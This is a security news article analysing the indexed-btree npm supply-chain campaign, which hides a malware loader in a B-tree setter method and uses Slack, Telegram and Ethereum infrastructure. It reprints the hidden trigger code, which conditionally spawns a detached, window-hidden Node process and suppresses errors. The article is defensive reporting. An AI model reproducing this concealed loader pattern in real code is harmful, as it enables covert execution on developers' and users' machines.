npm Malware Campaign Hides Malicious Code Inside B-Tree Methods, Reaching Nearly 2 Million Weekly Downloads

A malicious npm package disguises itself as a legitimate JavaScript data structure library, using runtime execution, blockchain-based command and control, and obfuscated payloads to evade conventional installation-focused security checks.

A new npm supply chain campaign is highlighting a critical challenge for JavaScript developers: malicious packages do not need installation scripts to execute harmful code.

According to a September 17, 2026 report from Checkmarx Zero, attackers distributed a malicious package named indexed-btree, which impersonates the legitimate sorted-btree library. Rather than relying on preinstall or postinstall scripts, the package hides its malware loader inside a frequently used JavaScript prototype method.

The campaign combines host fingerprinting, data exfiltration through Slack and Telegram, and an Ethereum smart contract used as a command-and-control (C2) mechanism.

Checkmarx reports that the malicious package reached almost 2 million weekly downloads. The researchers also identified several related packages that were subsequently removed.

The campaign demonstrates why software supply chain security must examine what dependencies do when applications execute them, not just what happens during installation.

What Makes the Campaign Different?

Many npm supply chain attacks rely on lifecycle scripts to execute malicious code during package installation. These scripts can provide attackers with an early opportunity to access development environments or run additional payloads.

The indexed-btree package follows a different approach.

Checkmarx reports that its package.json does not contain an installation hook. Simply installing the package does not trigger the described malicious activity.

Instead, the malicious loader is embedded in the package's own JavaScript implementation. It is activated through the BTree.prototype.set method, which is part of the library's normal functionality.

This design shifts the execution point from installation to application runtime.

For developers, the distinction matters because a package can appear clean during installation while still containing code that becomes dangerous when the application uses it.

How the Malware Trigger Works

The malicious code is concealed within the B-tree setter method. According to Checkmarx, the method checks for a file named sharedLoad.min.js inside an extended directory.

When the file exists and the supplied key equals 100, the method launches the loader using a detached Node.js child process.

The child process runs independently, with its standard input and output ignored and its process reference released.

Code Analysis: The Hidden Runtime Loader

The following excerpt is reproduced from the code included in the Checkmarx report. It illustrates the loader trigger, rather than the complete malware payload.

BTree.prototype.set = function (key, value, overwrite) {
    try {
        const path = require("path");
        const fs = require("fs");
        const { spawn } = require("child_process");

        const loadPath = path.join(
            __dirname,
            "extended",
            "sharedLoad.min.js"
        );

        if (fs.existsSync(loadPath) && key == 100) {
            let child = spawn(
                "node",
                [loadPath, String(key)],
                {
                    detached: true,
                    stdio: "ignore",
                    windowsHide: true,
                }
            );

            child.unref();
        }
    } catch (error) {}

    // Original method continues...
};

What the Code Does

1. Loads Node.js modules: The method imports path, fs, and child_process, enabling filesystem checks and process creation.

2. Locates the loader: It constructs a path to extended/sharedLoad.min.js.

3. Checks the trigger conditions: The loader file must exist, and the supplied key must equal 100.

4. Starts another process: Node.js launches the loader as a detached child process.

5. Suppresses visible output: The process uses ignored standard streams and is configured to hide its window on Windows.

6. Continues execution: The method releases its reference to the child process and proceeds with the library's remaining implementation.

Important technical detail: The supplied code does not show that every call to set launches the malware. The trigger shown here requires both the loader file to exist and the key to equal 100. Checkmarx describes the method as a normal application entry point that conceals the malicious loader.

The empty catch block also suppresses errors from this section, potentially making failures less visible to application code.

Inside the Malware: Host Fingerprinting and Data Exfiltration

Once activated, the package uses an obfuscated JavaScript file to initiate its malicious behavior.

Checkmarx reports that the code employs techniques such as string-array encoding and self-checksumming array rotation. These techniques complicate straightforward inspection of the malware's behavior.

The reported functionality includes collecting information about the host system, communicating with external services, retrieving encrypted payload components, and removing traces of its activity.

1. Host Information Collection

The malware fingerprints infected systems by collecting information that includes:

• Operating system architecture

• Hostname

• CPU information

• Memory information

• System uptime

Checkmarx reports that this information is sent to hardcoded Slack and Telegram destinations.

The report identifies these services as data-exfiltration channels used by the campaign.

2. Blockchain-Based Command and Control

The campaign also uses an Ethereum smart contract deployed on the Sepolia test network as part of its command-and-control infrastructure.

Rather than depending exclusively on a conventional domain or IP address, the malware polls the contract for information.

According to Checkmarx, the contract provides getter and setter functions and can act as a pointer to a replacement address if an earlier destination is taken down.

This arrangement can make infrastructure disruption more difficult because the malware's communication mechanism is not limited to a single conventional server address.

The researchers also report finding the same smart contract in an earlier package named mutex-forge.

3. On-Chain Key Exchange and Payload Decryption

The malware uses public-key cryptography to retrieve and decrypt its second-stage payload.

Checkmarx describes the following sequence:

1. The loader generates its own X25519 key pair.

2. It retrieves the attacker's X25519 public key from the smart contract.

3. It calculates an Elliptic-curve Diffie-Hellman (ECDH) shared secret.

4. The shared secret is used to derive an AES symmetric key.

5. The AES key decrypts two ciphertext blobs stored in the contract.

6. The decrypted components are merged to form the second-stage malware payload.

The report does not disclose the complete operational capabilities of every possible second-stage payload.

4. Removal of Malicious Traces

The malware also reportedly contains cleanup functionality.

Checkmarx says it can delete malware files and remove the trigger code from the main prototype method.

This behavior can complicate forensic investigation if analysts examine a system after the malware has already attempted to remove its components.

Why Did the Package Reach So Many Downloads?

Checkmarx reports that indexed-btree reached almost 2 million weekly downloads. Its findings also identify multiple related packages that accumulated substantial download counts.

The campaign's presentation appears designed to make the package look like a legitimate open-source project.

According to the researchers, the attackers created a GitHub repository with commits that looked legitimate. The repository did not contain the malicious code identified in the npm package, adding another layer of separation between the visible project and the distributed malware.

Checkmarx also notes that the associated GitHub account had limited activity and a sparse profile, despite presenting itself as a project maintainer.

The report describes an AI-generated profile photograph as another element that could make the account appear more credible at first glance.

These details highlight an important supply chain risk: repository presence, commit history, and a plausible maintainer profile do not independently establish that a package is trustworthy.

Developers must also consider package provenance, release contents, maintainer history, and runtime behavior.

Indicators of Compromise (IOCs)

Checkmarx identifies indexed-btree as the malicious sample and lists eight additional packages that were subsequently removed.

Reported Package Names and Download Counts

The source describes the downloads for the additional packages but does not specify a common measurement period for every figure in this list.

Other Reported Indicators

Security note: The original report also publishes specific RPC endpoints, bot credentials, chat and channel identifiers, and a public cryptographic key. These operational indicators are intentionally not reproduced in full here. Security teams should consult the original Checkmarx report for the complete IOC set and verify indicators against trusted threat-intelligence sources before using them in detection rules.

What Developers and Security Teams Should Do

The campaign illustrates why dependency security needs to extend beyond installation-time checks.

Blocking lifecycle scripts remains a useful defensive measure, but it cannot detect every malicious package that executes through ordinary application code.

The following actions are practical defensive recommendations based on the behavior described in the report. They are not claims that Checkmarx specifically tested or validated each measure against this campaign.

1. Review Dependencies Before Adoption

• Verify package names carefully to reduce the risk of typosquatting or lookalike dependencies.

• Check repository history, maintainers, release activity, and package provenance.

• Review changes between package versions, particularly unexpected additions to core methods.

• Avoid treating download counts or a GitHub repository as proof of legitimacy.

2. Inspect Runtime Behavior

• Monitor unexpected child-process creation by Node.js applications.

• Investigate dependencies that execute bundled JavaScript files outside their expected functionality.

• Review unexpected outbound connections to messaging services or unfamiliar infrastructure.

• Look for suspicious modifications to prototype methods and other frequently used library functions.

3. Strengthen Dependency Controls

• Use lockfiles and controlled dependency update processes.

• Apply software composition analysis and package integrity checks.

• Run untrusted dependencies in appropriately isolated development and build environments.

• Combine static analysis with runtime monitoring and behavioural detection.

4. Respond to Suspected Exposure

If an organisation identifies a potentially affected package, its security team should determine which projects installed it, whether the relevant trigger conditions occurred, and whether suspicious processes or communications followed.

Teams should preserve relevant logs and package artifacts, investigate possible credential exposure, and remove or replace affected dependencies through a controlled remediation process.

The specific response should reflect the environment and evidence available. The report does not provide a universal incident-response procedure for every deployment scenario.

Why This Campaign Matters

The indexed-btree campaign highlights a broader challenge for open-source software security: blocking one execution mechanism does not eliminate the underlying threat.

As Checkmarx explains, restricting npm lifecycle scripts can encourage attackers to move malicious functionality into other parts of a package's execution path.

In this case, the malicious loader is embedded in a library method, while obfuscation, external messaging services, and blockchain-based infrastructure add complexity to detection and investigation.

For enterprises, this could mean placing greater emphasis on dependency behavior during application execution, rather than relying primarily on installation controls and package metadata.

The development also reflects a wider security principle: trusted software must be evaluated by what it actually does, not only by how it is packaged or presented.

The campaign remains ongoing according to Checkmarx, and the researchers state that their report will be updated as new details emerge.